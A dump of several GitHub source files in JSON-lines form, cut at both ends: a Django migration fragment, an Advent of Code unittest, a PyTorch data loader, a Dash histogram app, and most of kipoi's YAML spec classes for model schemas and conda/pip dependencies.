]\n","repo_name":"ChrisTacam/fashionpearls","sub_path":"totales/migrations/0007_auto_20160602_2158.py","file_name":"0007_auto_20160602_2158.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72598974867","text":"import unittest\nfrom .results import sum_finder\n\n\nclass TestSumFinder(unittest.TestCase): \n def test_sum_finder_example(self):\n in_data = [1721, 979, 366, 299, 675, 1456]\n expected = (1721, 299)\n actual = sum_finder(in_data)\n self.assertEqual(expected, actual)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"benjaminarjun/AdventOfCode2020","sub_path":"solutions/day1/test_lib.py","file_name":"test_lib.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41894341003","text":"import torch\r\nimport numpy as np\r\nimport torch.utils.data as data_utils\r\nfrom data import re, data\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n\r\ndef train_test_data(num_samples, signal_dim, n_tau, min_sep,\r\n kernel_type, kernel_param, batch_size, xgrid, snr):\r\n signals, tau = data.gen_signal(num_samples, signal_dim, n_tau, min_sep, snr)\r\n s_train, s_test, tau_train, tau_test = train_test_split(signals, tau, test_size=0.01, random_state=42)\r\n train_tau_representation = re.re_tau(tau_train, xgrid, kernel_type, s_train, kernel_param)\r\n test_tau_representation = re.re_tau(tau_test, xgrid, kernel_type, s_train, kernel_param)\r\n s_train=torch.from_numpy(s_train).float()\r\n s_test=torch.from_numpy(s_test).float()\r\n tau_test=torch.from_numpy(tau_test).float()\r\n train_tau_representation=torch.from_numpy(train_tau_representation).float()\r\n test_tau_representation = torch.from_numpy(test_tau_representation).float()\r\n train_dataset = data_utils.TensorDataset(s_train, train_tau_representation)\r\n test_dataset = data_utils.TensorDataset(s_test, test_tau_representation, tau_test)\r\n train_data = data_utils.DataLoader(train_dataset, batch_size=batch_size)\r\n test_data = data_utils.DataLoader(test_dataset, batch_size=batch_size)\r\n return train_data, test_data\r\n\r\n\r\ndef make_train_test_data(args):\r\n xgrid = np.linspace(0, 20, args.tau_size, endpoint=False)\r\n kernel_param = args.gaussian_std / args.signal_dim\r\n return train_test_data(args.nums_data, signal_dim=args.signal_dim, n_tau=args.n_tau,\r\n min_sep=args.min_sep, kernel_type=args.kernel_type, kernel_param=kernel_param,\r\n batch_size=args.batch_size, xgrid=xgrid, snr=args.snr)\r\n\r\n","repo_name":"Eddie-Co/Off-grid-TOA-estimation-with-sinc-representation","sub_path":"data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"125250335","text":"import dash\nfrom dash import dcc, html\nfrom dash.dependencies import Input, Output\nimport pandas as pd\nimport plotly.express as px\nimport io\nimport base64\nimport plotly.graph_objects as go\nfrom matplotlib import colors as mcols\n\n\ndef devide_dataset(df):\n # Extract latitude and longitude\n latitudes = df['latitude']\n longitudes = df['longitude']\n\n # Calculate the most northern, southern, eastern, and western coordinates\n most_north = latitudes.max()\n most_south = latitudes.min()\n most_east = longitudes.min()\n most_west = longitudes.max()\n\n # Calculate average latitude and longitude\n average_lat = (most_north + most_south) / 2\n average_long = (most_east + most_west) / 2\n\n # Split the data into north and south regions based on latitude\n north_data = df[df['latitude'] <= average_lat]\n south_data = df[df['latitude'] > average_lat]\n\n\n # Split the data into north and south regions based on longitudes\n east_data = df[df['longitude'] >= average_long]\n west_data = df[df['longitude'] < average_long]\n return [north_data, south_data, east_data, west_data]\n\ndef update_histogram(selected_year, selected_season, selected_var, north_data_year, south_data_year, east_data_year, west_data_year):\n north_var_season = north_data_year.get_group(selected_year)[north_data_year.get_group(selected_year)['season'] == selected_season][selected_var]\n south_var_season = south_data_year.get_group(selected_year)[south_data_year.get_group(selected_year)['season'] == selected_season][selected_var]\n east_var_season = east_data_year.get_group(selected_year)[east_data_year.get_group(selected_year)['season'] == selected_season][selected_var]\n west_var_season = west_data_year.get_group(selected_year)[west_data_year.get_group(selected_year)['season'] == selected_season][selected_var]\n\n # Create histograms using Plotly graph objects\n fig_NS = go.Figure()\n fig_NS.add_trace(go.Histogram(x=north_var_season, name='North', marker_color = 'rgba(100, 0, 0, 0.5)', opacity = 0.6))\n fig_NS.add_trace(go.Histogram(x=south_var_season, name='South', marker_color = 'rgba(0, 100, 0, 0.5)', opacity = 0.6))\n\n fig_NS.update_layout(barmode='overlay', title=f'Year {selected_year}: {selected_var} Variation in North vs South Regions {selected_season}', xaxis_title=selected_var, yaxis_title='Events')\n\n fig_EW = go.Figure()\n fig_EW.add_trace(go.Histogram(x=east_var_season, name='East', marker_color='rgba(100, 0, 0, 0.5)', opacity = 0.6))\n fig_EW.add_trace(go.Histogram(x=west_var_season, name='West', marker_color='rgba(0, 100, 0, 0.5)', opacity = 0.6))\n\n fig_EW.update_layout(barmode='overlay', title=f'Year {selected_year}: {selected_var} Variation in East vs West Regions {selected_season}', xaxis_title=selected_var, yaxis_title='Events')\n\n return fig_NS, fig_EW\n\ndef main():\n # Import data\n path_filtered_data = './output/filtered_data.csv'\n df = pd.read_csv(path_filtered_data)\n\n # Histogram initialization\n df['year'] = df['year'].astype(str)\n\n # Divide dataset depending on the position of the measurement\n [north_data, south_data, east_data, west_data] = devide_dataset(df)\n\n # Groupby each dataset for the year\n north_data_year = north_data.groupby('year')\n south_data_year = south_data.groupby('year')\n east_data_year = east_data.groupby('year')\n west_data_year = west_data.groupby('year')\n\n # Retrieve all column names\n all_columns = df.columns.tolist()\n\n # Columns to be removed\n columns_to_remove = ['codigo_ibge', 'latitude', 'longitude', 'year', 'month', 'day', 'season', 'name_ibge']\n\n # Create a list of variables starting from the column of a DataFrame deleting some of them\n variables = [col for col in all_columns if col not in columns_to_remove]\n\n\n app = dash.Dash(__name__)\n\n app.layout = html.Div([\n html.H1(\"Histograms for Different Regions\"),\n\n # Dropdown for selecting the year\n html.Div([\n html.Label('Select Year:'),\n dcc.Dropdown(\n id='year-dropdown',\n options=[{'label': year, 'value': year} for year in df['year'].unique()],\n value=df['year'].min() # Initial value for the dropdown\n )\n ]),\n\n # Dropdown for selecting the season\n html.Div([\n html.Label('Select Season:'),\n dcc.Dropdown(\n id='season-dropdown',\n options=[{'label': season, 'value': season} for season in df['season'].unique()],\n value='Winter' # Initial value for the dropdown\n )\n ]),\n\n # Dropdown for selecting variable\n html.Div([\n html.Label('Select Varible:'),\n dcc.Dropdown(\n id='var-dropdown',\n options=[{'label': var, 'value': var} for var in variables],\n value= variables[0] # Initial value for the dropdown\n )\n ]),\n\n dcc.Graph(\n id='north-hist',\n config={'displayModeBar': False}\n ),\n dcc.Graph(\n id='east-hist',\n config={'displayModeBar': False}\n ),\n ])\n \n @app.callback(\n [Output('north-hist', 'figure'),\n Output('east-hist', 'figure')],\n [Input('year-dropdown', 'value'),\n Input('season-dropdown', 'value'),\n Input('var-dropdown', 'value')]\n )\n def update_graph(selected_year, selected_season, selected_var):\n fig_NS, fig_EW = update_histogram(selected_year, selected_season, selected_var, north_data_year, south_data_year, east_data_year, west_data_year)\n\n return fig_NS, fig_EW\n\n if __name__ == '__main__':\n app.run_server(debug=True, use_reloader=False)\n\nif __name__ == '__main__':\n main()\n","repo_name":"claudia-bianchini/Python_DSIA","sub_path":"Project/dash_hist_px.py","file_name":"dash_hist_px.py","file_ext":"py","file_size_in_byte":5790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70675440145","text":"\"\"\"Defines the classes for Yaml parsing using related: https://github.com/genomoncology/related\n\"\"\"\nimport collections\nimport logging\nimport os\nfrom collections import OrderedDict\n\nimport enum\nimport numpy as np\nimport related\nimport re\n\nimport kipoi\nfrom kipoi_utils.external.torchvision.dataset_utils import download_url, check_integrity\nfrom kipoi.plugin import get_model_yaml_parser, get_dataloader_yaml_parser, is_installed\nimport kipoi_conda as kconda\nfrom kipoi_utils.external.related.fields import StrSequenceField, NestedMappingField, TupleIntField, AnyField, \\\n UNSPECIFIED\nfrom kipoi_utils.external.related.mixins import RelatedConfigMixin, RelatedLoadSaveMixin\nfrom kipoi.metadata import GenomicRanges\nfrom kipoi_utils.utils import (unique_list, yaml_ordered_dump, read_txt, read_yaml,\n load_obj, inherits_from, override_default_kwargs, recursive_dict_parse)\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\n# --------------------------------------------\n# Common specs (model and dataloader)\n\n\n@related.immutable(strict=False)\nclass Author(RelatedConfigMixin):\n name = related.StringField()\n github = related.StringField(required=False)\n email = related.StringField(required=False)\n\n\n@related.mutable(strict=False)\nclass Info(RelatedConfigMixin):\n \"\"\"Class holding information about the component.\n Parses the info section in component.yaml:\n\n info:\n authors:\n - name: Ziga Avsec\n doc: RBP binding prediction\n name: rbp_eclip\n version: 0.1\n \"\"\"\n authors = related.SequenceField(Author, repr=True, required=False)\n doc = related.StringField(\"\", required=False) # free-text description of the model\n name = related.StringField(required=False) # TODO - deprecate\n version = related.StringField(default=\"0.1\", required=False)\n license = related.StringField(default=\"MIT\", required=False) # license of the model/dataloader - defaults to MIT\n tags = StrSequenceField(str, default=[], required=False)\n\n def __attrs_post_init__(self):\n if self.authors and self.doc == \"\":\n logger.warning(\"doc empty for the `info:` field\")\n\n\n@related.mutable(strict=False)\nclass ModelInfo(Info):\n \"\"\"Additional information for the model - not applicable to the dataloader\n \"\"\"\n contributors = related.SequenceField(Author, default=[], repr=True, required=False)\n cite_as = related.StringField(required=False) # a link or a description how to cite the paper (say a doi link)\n trained_on = related.StringField(required=False) # a link or a description of the training dataset\n training_procedure = related.StringField(\n required=False) # brief description about the training procedure for the trained_on dataset.\n\n\n@enum.unique\nclass ArraySpecialType(enum.Enum):\n DNASeq = \"DNASeq\"\n DNAStringSeq = \"DNAStringSeq\"\n BIGWIG = \"bigwig\"\n VPLOT = \"v-plot\"\n Array = \"Array\"\n\n\n@related.mutable(strict=False)\nclass ArraySchema(RelatedConfigMixin):\n \"\"\"\n\n Args:\n shape: Tuple of shape (same as in Keras for the input)\n doc: Description of the array\n special_type: str, special type name. Could also be an array of special entries?\n metadata_entries: str or list of metadata\n \"\"\"\n verbose = True\n shape = TupleIntField()\n doc = related.StringField(\"\", required=False)\n # MAYBE - allow a list of strings?\n # - could be useful when a single array can have multiple 'attributes'\n name = related.StringField(required=False)\n special_type = related.ChildField(ArraySpecialType, required=False)\n associated_metadata = StrSequenceField(str, default=[], required=False)\n column_labels = StrSequenceField(str, default=[],\n required=False) # either a list or a path to a file --> need to check whether it's a list\n\n # TODO shall we have\n # - associated_metadata in ArraySchema\n # OR\n # - associated_array in MetadataField?\n\n # assert that there are no Nones in the shape, assume that channels is the only 4 or it is the last\n # update the model schema shape on calling batch_iter method\n # overwrite the batch_iter method of the returned dataloader --> decorator needed\n\n def print_msg(self, msg):\n if self.verbose:\n print(\"ArraySchema mismatch\")\n print(msg)\n\n def _validate_list_column_labels(self):\n dim_ok = len(self.shape) >= 1\n if dim_ok and (self.shape[0] is not None):\n dim_ok &= len(self.column_labels) == self.shape[0]\n if not dim_ok:\n self.print_msg(\"Column annotation does not match array dimension with shape %s and %d labels (%s ...)\"\n % (str(self.shape), len(self.column_labels), str(self.column_labels)[:30]))\n\n def __attrs_post_init__(self):\n from io import open\n\n if len(self.column_labels) > 1:\n # check that length is ok with columns\n self._validate_list_column_labels()\n elif len(self.column_labels) == 1:\n label = self.column_labels.list[0]\n import os\n # check if path exists raise exception only test time, but only a warning in prediction time\n if os.path.exists(label):\n with open(label, \"r\", encoding=\"utf-8\") as ifh:\n object.__setattr__(self, \"column_labels\", [l.rstrip() for l in ifh])\n self._validate_list_column_labels()\n else:\n object.__setattr__(self, \"column_labels\", None)\n\n def compatible_with_batch(self, batch, verbose=True):\n \"\"\"Checks compatibility with a particular batch of data\n\n Args:\n batch: numpy array\n ignore_batch_axis: if True, the batch axis is not considered\n verbose: print the fail reason\n \"\"\"\n\n def print_msg(msg):\n if verbose:\n print(\"ArraySchema mismatch\")\n print(msg)\n\n # type = np.ndarray\n if not isinstance(batch, np.ndarray):\n print_msg(\"Expecting a np.ndarray. Got type(batch) = {0}\".format(type(batch)))\n return False\n\n if not batch.ndim >= 1:\n print_msg(\"The array is a scalar (expecting at least the batch dimension)\")\n return False\n\n return self.compatible_with_schema(ArraySchema(shape=batch.shape[1:],\n doc=\"\"))\n\n def compatible_with_schema(self, schema, name_self=\"\", name_schema=\"\", verbose=True):\n \"\"\"Checks the compatibility with another schema\n\n Args:\n schema: Other ArraySchema\n name_self: How to call self in the error messages\n name_schema: analogously to name_self for the schema ArraySchema\n verbose: bool, describe what went wrong through print()\n \"\"\"\n\n def print_msg(msg):\n if verbose:\n # print(\"ArraySchema mismatch\")\n print(msg)\n\n if not isinstance(schema, ArraySchema):\n print_msg(\"Expecting ArraySchema. Got type({0} schema) = {1}\".format(name_schema,\n type(schema)))\n return False\n\n def print_msg_template():\n print(\"ArraySchema mismatch\")\n print(\"Array shapes don't match for the fields:\")\n print(\"--\")\n print(name_self)\n print(\"--\")\n print(self.get_config_as_yaml())\n print(\"--\")\n print(name_schema)\n print(\"--\")\n print(schema.get_config_as_yaml())\n print(\"--\")\n print(\"Provided shape (without the batch axis): {0}, expected shape: {1} \".format(bshape, self.shape))\n\n bshape = schema.shape\n if not len(bshape) == len(self.shape):\n print_msg_template()\n return False\n for i in range(len(bshape)):\n if bshape[i] is not None and self.shape[i] is not None:\n # shapes don't match\n if not bshape[i] == self.shape[i]:\n print_msg_template()\n return False\n return True\n\n\n# --------------------------------------------\n# Model specific specs\n\n@related.mutable(strict=False)\nclass ModelSchema(RelatedConfigMixin):\n \"\"\"Describes the model schema\n \"\"\"\n # can be a dictionary, list or a single array\n inputs = NestedMappingField(ArraySchema, keyword=\"shape\", key=\"name\")\n targets = NestedMappingField(ArraySchema, keyword=\"shape\", key=\"name\")\n\n def compatible_with_schema(self, dataloader_schema, verbose=True):\n \"\"\"Check the compatibility: model.schema <-> dataloader.output_schema\n\n Checks preformed:\n - nested structure is the same (i.e. dictionary names, list length etc)\n - array shapes are compatible\n - returned obj classess are compatible\n\n # Arguments\n dataloader_schema: a dataloader_schema of data returned by one iteraton of dataloader's dataloader_schema_iter\n nested dictionary\n verbose: verbose error logging if things don't match\n\n # Returns\n bool: True only if everyhing is ok\n \"\"\"\n\n def print_msg(msg):\n if verbose:\n print(msg)\n\n # Inputs check\n def compatible_nestedmapping(dschema, descr, cls, verbose=True):\n \"\"\"Recursive function of checks\n\n shapes match, dschema-dim matches\n \"\"\"\n if isinstance(descr, cls):\n # Recursion stop\n return descr.compatible_with_schema(dschema,\n name_self=\"Model\",\n name_schema=\"Dataloader\",\n verbose=verbose)\n elif isinstance(dschema, collections.abc.Mapping) and isinstance(descr, collections.abc.Mapping):\n if not set(descr.keys()).issubset(set(dschema.keys())):\n print_msg(\"Dataloader doesn't provide all the fields required by the model:\")\n print_msg(\"dataloader fields: {0}\".format(dschema.keys()))\n print_msg(\"model fields: {0}\".format(descr.keys()))\n return False\n return all([compatible_nestedmapping(dschema[key], descr[key], cls, verbose) for key in descr])\n elif isinstance(dschema, collections.abc.Sequence) and isinstance(descr, collections.abc.Sequence):\n if not len(descr) <= len(dschema):\n print_msg(\"Dataloader doesn't provide all the fields required by the model:\")\n print_msg(\"len(dataloader): {0}\".format(len(dschema)))\n print_msg(\"len(model): {0}\".format(len(descr)))\n return False\n return all([compatible_nestedmapping(dschema[i], descr[i], cls, verbose) for i in range(len(descr))])\n elif isinstance(dschema, collections.abc.Mapping) and isinstance(descr, collections.abc.Sequence):\n if not len(descr) <= len(dschema):\n print_msg(\"Dataloader doesn't provide all the fields required by the model:\")\n print_msg(\"len(dataloader): {0}\".format(len(dschema)))\n print_msg(\"len(model): {0}\".format(len(descr)))\n return False\n compatible = []\n for i in range(len(descr)):\n if descr[i].name in dschema:\n compatible.append(compatible_nestedmapping(dschema[descr[i].name], descr[i], cls, verbose))\n else:\n print_msg(\"Model array name: {0} not found in dataloader keys: {1}\".\n format(descr[i].name, list(dschema.keys())))\n return False\n return all(compatible)\n\n print_msg(\"Invalid types:\")\n print_msg(\"type(Dataloader schema): {0}\".format(type(dschema)))\n print_msg(\"type(Model schema): {0}\".format(type(descr)))\n return False\n\n if not compatible_nestedmapping(dataloader_schema.inputs, self.inputs, ArraySchema, verbose):\n return False\n\n # checking targets\n if dataloader_schema.targets is None:\n return True\n\n if (isinstance(dataloader_schema.targets, ArraySchema) or\n len(dataloader_schema.targets) > 0) and not compatible_nestedmapping(dataloader_schema.targets,\n self.targets,\n ArraySchema,\n verbose):\n return False\n\n return True\n\n\n# --------------------------------------------\n# DataLoader specific specs\n\n@enum.unique\nclass MetadataType(enum.Enum):\n # TODO - make capital\n GENOMIC_RANGES = \"GenomicRanges\"\n STR = \"str\"\n INT = \"int\"\n FLOAT = \"float\"\n ARRAY = \"array\"\n # TODO - add bed3 or bed6 ranges\n\n\n@related.mutable(strict=False)\nclass MetadataStruct(RelatedConfigMixin):\n doc = related.StringField()\n type = related.ChildField(MetadataType, required=False)\n name = related.StringField(required=False)\n\n def compatible_with_batch(self, batch, verbose=True):\n \"\"\"Checks compatibility with a particular numpy array\n\n Args:\n batch: numpy array of a batch\n\n verbose: print the fail reason\n \"\"\"\n\n def print_msg(msg):\n if verbose:\n print(\"MetadataStruct mismatch\")\n print(msg)\n\n # custom classess\n if self.type == MetadataType.GENOMIC_RANGES:\n if not isinstance(batch, GenomicRanges):\n # TODO - do we strictly require the GenomicRanges class?\n # - relates to metadata.py TODO about numpy_collate\n # for now we should just be able to convert to the GenomicRanges class\n # without any errors\n try:\n GenomicRanges.from_dict(batch)\n except Exception as e:\n print_msg(\"expecting a GenomicRanges object or a GenomicRanges-like dict\")\n print_msg(\"convertion error: {0}\".format(e))\n return False\n else:\n return True\n else:\n return True\n\n # type = np.ndarray\n if not isinstance(batch, np.ndarray):\n print_msg(\"Expecting a np.ndarray. Got type(batch) = {0}\".format(type(batch)))\n return False\n\n if not batch.ndim >= 1:\n print_msg(\"The array is a scalar (expecting at least the batch dimension)\")\n return False\n\n bshape = batch.shape[1:]\n\n # scalars\n if self.type in {MetadataType.INT, MetadataType.STR, MetadataType.FLOAT}:\n if bshape != () and bshape != (1,):\n print_msg(\"expecting a scalar, got an array with shape (without the batch axis): {0}\".format(bshape))\n return False\n\n # arrays\n # - no checks\n\n return True\n\n\n@related.mutable(strict=False)\nclass DataLoaderSchema(RelatedConfigMixin):\n \"\"\"Describes the model schema\n\n Properties:\n - we allow classes that contain also dictionaries\n -> leaf can be an\n - array\n - scalar\n - custom dictionary (recursive data-type)\n - SpecialType (say ArrayRanges, BatchArrayRanges, which will\n effectively be a dicitonary of scalars)\n \"\"\"\n inputs = NestedMappingField(ArraySchema, keyword=\"shape\", key=\"name\")\n targets = NestedMappingField(ArraySchema, keyword=\"shape\", key=\"name\", required=False)\n metadata = NestedMappingField(MetadataStruct, keyword=\"doc\", key=\"name\",\n required=False)\n\n def compatible_with_batch(self, batch, verbose=True):\n \"\"\"Validate if the batch of data complies with the schema\n\n Checks preformed:\n - nested structure is the same (i.e. dictionary names, list length etc)\n - array shapes are compatible\n - returned obj classess are compatible\n\n # Arguments\n batch: a batch of data returned by one iteraton of dataloader's batch_iter\n nested dictionary\n verbose: verbose error logging if things don't match\n\n # Returns\n bool: True only if everyhing is ok\n \"\"\"\n\n def print_msg(msg):\n if verbose:\n print(msg)\n\n # check the individual names\n if not isinstance(batch, dict):\n print(\"not isinstance(batch, dict)\")\n return False\n\n # contains only the three specified fields\n if not set(batch.keys()).issubset({\"inputs\", \"targets\", \"metadata\"}):\n print('not set(batch.keys()).issubset({\"inputs\", \"targets\", \"metadata\"})')\n return False\n\n # Inputs check\n def compatible_nestedmapping(batch, descr, cls, verbose=True):\n \"\"\"Recursive function of checks\n\n shapes match, batch-dim matches\n \"\"\"\n # we expect a numpy array/special class, a list or a dictionary\n\n # Special case for the metadat\n if isinstance(descr, cls):\n return descr.compatible_with_batch(batch, verbose=verbose)\n elif isinstance(batch, collections.abc.Mapping) and isinstance(descr, collections.abc.Mapping):\n if not set(batch.keys()) == set(descr.keys()):\n print_msg(\"The dictionary keys don't match:\")\n print_msg(\"batch: {0}\".format(batch.keys()))\n print_msg(\"descr: {0}\".format(descr.keys()))\n return False\n return all([compatible_nestedmapping(batch[key], descr[key], cls, verbose) for key in batch])\n elif isinstance(batch, collections.abc.Sequence) and isinstance(descr, collections.abc.Sequence):\n if not len(batch) == len(descr):\n print_msg(\"Lengths dont match:\")\n print_msg(\"len(batch): {0}\".format(len(batch)))\n print_msg(\"len(descr): {0}\".format(len(descr)))\n return False\n return all([compatible_nestedmapping(batch[i], descr[i], cls, verbose) for i in range(len(batch))])\n\n print_msg(\"Invalid types:\")\n print_msg(\"type(batch): {0}\".format(type(batch)))\n print_msg(\"type(descr): {0}\".format(type(descr)))\n return False\n\n # inputs needs to be present allways\n if \"inputs\" not in batch:\n print_msg('not \"inputs\" in batch')\n return False\n\n if not compatible_nestedmapping(batch[\"inputs\"], self.inputs, ArraySchema, verbose):\n return False\n\n if \"targets\" in batch and not \\\n (len(batch[\"targets\"]) == 0): # unspecified\n if self.targets is None:\n # targets need to be specified if we want to use them\n print_msg('self.targets is None')\n return False\n if not compatible_nestedmapping(batch[\"targets\"], self.targets, ArraySchema, verbose):\n return False\n\n # metadata needs to be present if it is defined in the description\n if self.metadata is not None:\n if \"metadata\" not in batch:\n print_msg('not \"metadata\" in batch')\n return False\n if not compatible_nestedmapping(batch[\"metadata\"], self.metadata, MetadataStruct, verbose):\n return False\n else:\n if \"metadata\" in batch:\n print_msg('\"metadata\" in batch')\n return False\n\n return True\n\n\n# --------------------------------------------\n@related.mutable(strict=False)\nclass RemoteFile(RelatedConfigMixin):\n url = related.StringField()\n md5 = related.StringField(\"\", required=False)\n name = related.StringField(\"\", required=False)\n\n def __attrs_post_init__(self):\n if self.md5 == \"\":\n logger.warning(\"md5 not specified for url: {}\".format(self.url))\n if os.path.basename(self.name) != self.name:\n logger.warning(\"'name' does not seem to be a valid file name: {}\".format(self.name))\n self.name = os.path.basename(self.name)\n\n def validate(self, path):\n \"\"\"Validate if the path complies with the provided md5 hash\n \"\"\"\n return check_integrity(path, self.md5)\n\n def get_file(self, path):\n \"\"\"Download the remote file to cache_dir and return\n the file path to it\n \"\"\"\n if self.md5:\n file_hash = self.md5\n else:\n file_hash = None\n root, filename = os.path.dirname(path), os.path.basename(path)\n root = os.path.abspath(root)\n download_url(self.url, root, filename, file_hash)\n return os.path.join(root, filename)\n\n\n@related.mutable(strict=False)\nclass DataLoaderArgument(RelatedConfigMixin):\n # MAYBE - make this a general argument class\n doc = related.StringField(\"\", required=False)\n example = AnyField(required=False)\n default = AnyField(required=False)\n name = related.StringField(required=False)\n type = related.StringField(default='str', required=False)\n optional = related.BooleanField(default=False, required=False)\n tags = StrSequenceField(str, default=[], required=False) # TODO - restrict the tags\n\n def __attrs_post_init__(self):\n if self.doc == \"\":\n logger.warning(\"doc empty for one of the dataloader `args` fields\")\n # parse args\n self.example = recursive_dict_parse(self.example, 'url', RemoteFile.from_config)\n self.default = recursive_dict_parse(self.default, 'url', RemoteFile.from_config)\n\n\n@related.mutable(strict=False)\nclass Dependencies(RelatedConfigMixin):\n conda = StrSequenceField(str, default=[], required=False, repr=True)\n pip = StrSequenceField(str, default=[], required=False, repr=True)\n # not really required\n conda_channels = related.SequenceField(str, default=[\"defaults\"],\n required=False, repr=True)\n conda_file = related.StringField(required=False)\n\n def __attrs_post_init__(self):\n \"\"\"\n In case conda or pip are filenames pointing to existing files,\n read the files and populate the package names\n \"\"\"\n if self.conda_file:\n # use the dependencies from the conda file. Override conda, pip and conda_file\n deps = read_yaml(self.conda_file)\n pip_deps = [x['pip'] for x in deps['dependencies']\n if isinstance(x, dict)][0]\n conda_deps = [x for x in deps['dependencies']\n if not isinstance(x, dict)]\n object.__setattr__(self, \"pip\", pip_deps)\n object.__setattr__(self, \"conda\", conda_deps)\n object.__setattr__(self, \"conda_channels\", deps['channels'])\n if len(self.conda) == 1 and self.conda[0].endswith(\".txt\") and \\\n os.path.exists(self.conda[0]):\n # found a conda txt file\n object.__setattr__(self, \"conda\", read_txt(self.conda[0]))\n\n if len(self.pip) == 1 and self.pip[0].endswith(\".txt\") and \\\n os.path.exists(self.pip[0]):\n # found a pip txt file\n object.__setattr__(self, \"pip\", read_txt(self.pip[0]))\n\n def all_installed(self, verbose=False):\n \"\"\"Validate if all the dependencies are installed as requested\n\n Args:\n verbose: if True, display warnings if the dependencies are not installed\n\n Returns:\n (bool): True if all the required package versions are installed\n and False otherwise\n \"\"\"\n norm = self.normalized()\n for pkg in list(norm.conda) + list(norm.pip):\n if not kconda.is_installed(pkg):\n if verbose:\n pkg_name, req_version = kconda.version_split(pkg)\n found_version = kconda.get_package_version(pkg_name)\n if found_version is None:\n print(\"Package '{}' is not installed\".\n format(pkg_name))\n else:\n print(\"Installed package '{}={}' doesn't \"\n \"comply with '{}'\".\n format(pkg_name, found_version, pkg))\n return False\n return True\n\n def install_pip(self, dry_run=False):\n print(\"pip dependencies to be installed:\")\n print(self.pip)\n if dry_run:\n return\n else:\n kconda.install_pip(self.pip)\n\n def install_conda(self, dry_run=False):\n print(\"Conda dependencies to be installed:\")\n print(self.conda)\n if dry_run:\n return\n else:\n channels, packages = self._get_channels_packages()\n kconda.install_conda(packages, channels)\n\n def install(self, dry_run=False):\n self.install_conda(dry_run)\n self.install_pip(dry_run)\n\n def merge(self, dependencies):\n \"\"\"Merge one dependencies with another one\n\n Use case: merging the dependencies of model and dataloader\n\n Args:\n dependencies: Dependencies instance\n\n Returns:\n new Dependencies instance\n \"\"\"\n return Dependencies(\n conda=unique_list(list(self.conda) + list(dependencies.conda)),\n pip=kconda.normalize_pip(list(self.pip) + list(dependencies.pip)),\n conda_channels=unique_list(list(self.conda_channels) + list(dependencies.conda_channels))\n )\n\n def normalized(self):\n \"\"\"Normalize the list of dependencies\n \"\"\"\n channels, packages = self._get_channels_packages()\n if isinstance(packages, related.types.TypedSequence):\n packages = packages.list\n if isinstance(channels, related.types.TypedSequence):\n channels = channels.list\n\n return Dependencies(\n conda=packages,\n pip=kconda.normalize_pip(list(self.pip)),\n conda_channels=channels)\n\n def _get_channels_packages(self):\n \"\"\"Get conda channels and packages separated from each other(by '::')\n \"\"\"\n if len(self.conda) == 0:\n return self.conda_channels, self.conda\n channels, packages = list(zip(*map(kconda.parse_conda_package, self.conda)))\n channels = unique_list(list(channels) + list(self.conda_channels))\n packages = unique_list(list(packages))\n\n # Handle channel order\n if \"bioconda\" in channels and \"conda-forge\" not in channels:\n # Insert 'conda-forge' right after bioconda if it is not included\n channels.insert(channels.index(\"bioconda\") + 1, \"conda-forge\")\n \n # Add special handling for pysam. With kipoi<=0.8.2, if pysam is \n # versioned, prioritizing of bioconda over defaults and conda-forge\n # channel was ignored. Also, I have noticed unless pysam is downloaded\n # from bioconda channel the resulting conda environment sometimes\n # fails to get resolved. Specifically mentioning bioconda::pysam\n # resolves this. However, users may not be aware of this\n # Bioconda now is always added as a channel if pysam is mentioned as a\n # dependency.\n \n pysam_matcher = re.compile(\"^pysam\")\n for pkg in filter(pysam_matcher.match, packages):\n if \"bioconda\" not in channels:\n channels.remove(\"defaults\")\n channels.append(\"bioconda\")\n channels.append(\"defaults\")\n elif channels.index(\"defaults\") < channels.index(\"bioconda\"): \n logger.warning(\"Swapping channel order - putting defaults last. \" +\n \"Using pysam bioconda instead of anaconda\")\n channels.remove(\"defaults\")\n channels.append(\"defaults\")\n\n # Add special case for pytorch-cpu and torchvision-cpu. These \n # packages are not being updated in conda pytorch channel \n # anymore. There is no longer any need to provide pytorch-cpu \n # in model( or dataloader).yaml. Recent \n # versions of pytorch (since 1.3.0) will install necessary libraries \n # on its own. \n for torchpkg in [\"^pytorch-cpu\", \"^torchvision-cpu\"]:\n matcher = re.compile(torchpkg)\n for pkg in filter(matcher.match, packages):\n packages.remove(pkg)\n packages.append(pkg.replace(\"-cpu\", \"\"))\n if \"cpuonly\" not in packages:\n packages.append(\"cpuonly\")\n return channels, packages \n\n def to_env_dict(self, env_name):\n deps = self.normalized()\n channels, packages = deps._get_channels_packages()\n if isinstance(packages, related.types.TypedSequence):\n packages = packages.list\n if isinstance(channels, related.types.TypedSequence):\n channels = channels.list\n\n env_dict = OrderedDict(\n name=env_name,\n channels=channels,\n dependencies=packages + [OrderedDict(pip=kconda.normalize_pip(deps.pip))]\n )\n return env_dict\n\n @classmethod\n def from_env_dict(self, dict):\n cfg = {}\n cfg[\"conda_channels\"] = dict['channels']\n cfg[\"conda\"] = [el for el in dict['dependencies'] if not isinstance(el, OrderedDict)]\n pip = [el for el in dict['dependencies'] if isinstance(el, OrderedDict)]\n if len(pip) == 1:\n cfg[\"pip\"] = pip[0]['pip']\n elif len(pip) > 1:\n raise Exception(\"Malformatted conda environment yaml!\")\n return self.from_config(cfg)\n\n def to_env_file(self, env_name, path):\n \"\"\"Dump the dependencies to a file\n \"\"\"\n with open(path, 'w') as f:\n d = self.to_env_dict(env_name)\n\n # add python if not present\n add_py = True\n for dep in d['dependencies']:\n if isinstance(dep, str) and dep.startswith(\"python\"):\n add_py = False\n\n if add_py:\n d['dependencies'] = [\"python\"] + d['dependencies']\n # -----\n # remove fields that are empty\n out = []\n for k in d:\n if not (isinstance(d[k], list) and len(d[k]) == 0):\n out.append((k, d[k]))\n # -----\n\n f.write(yaml_ordered_dump(OrderedDict(out),\n indent=2,\n 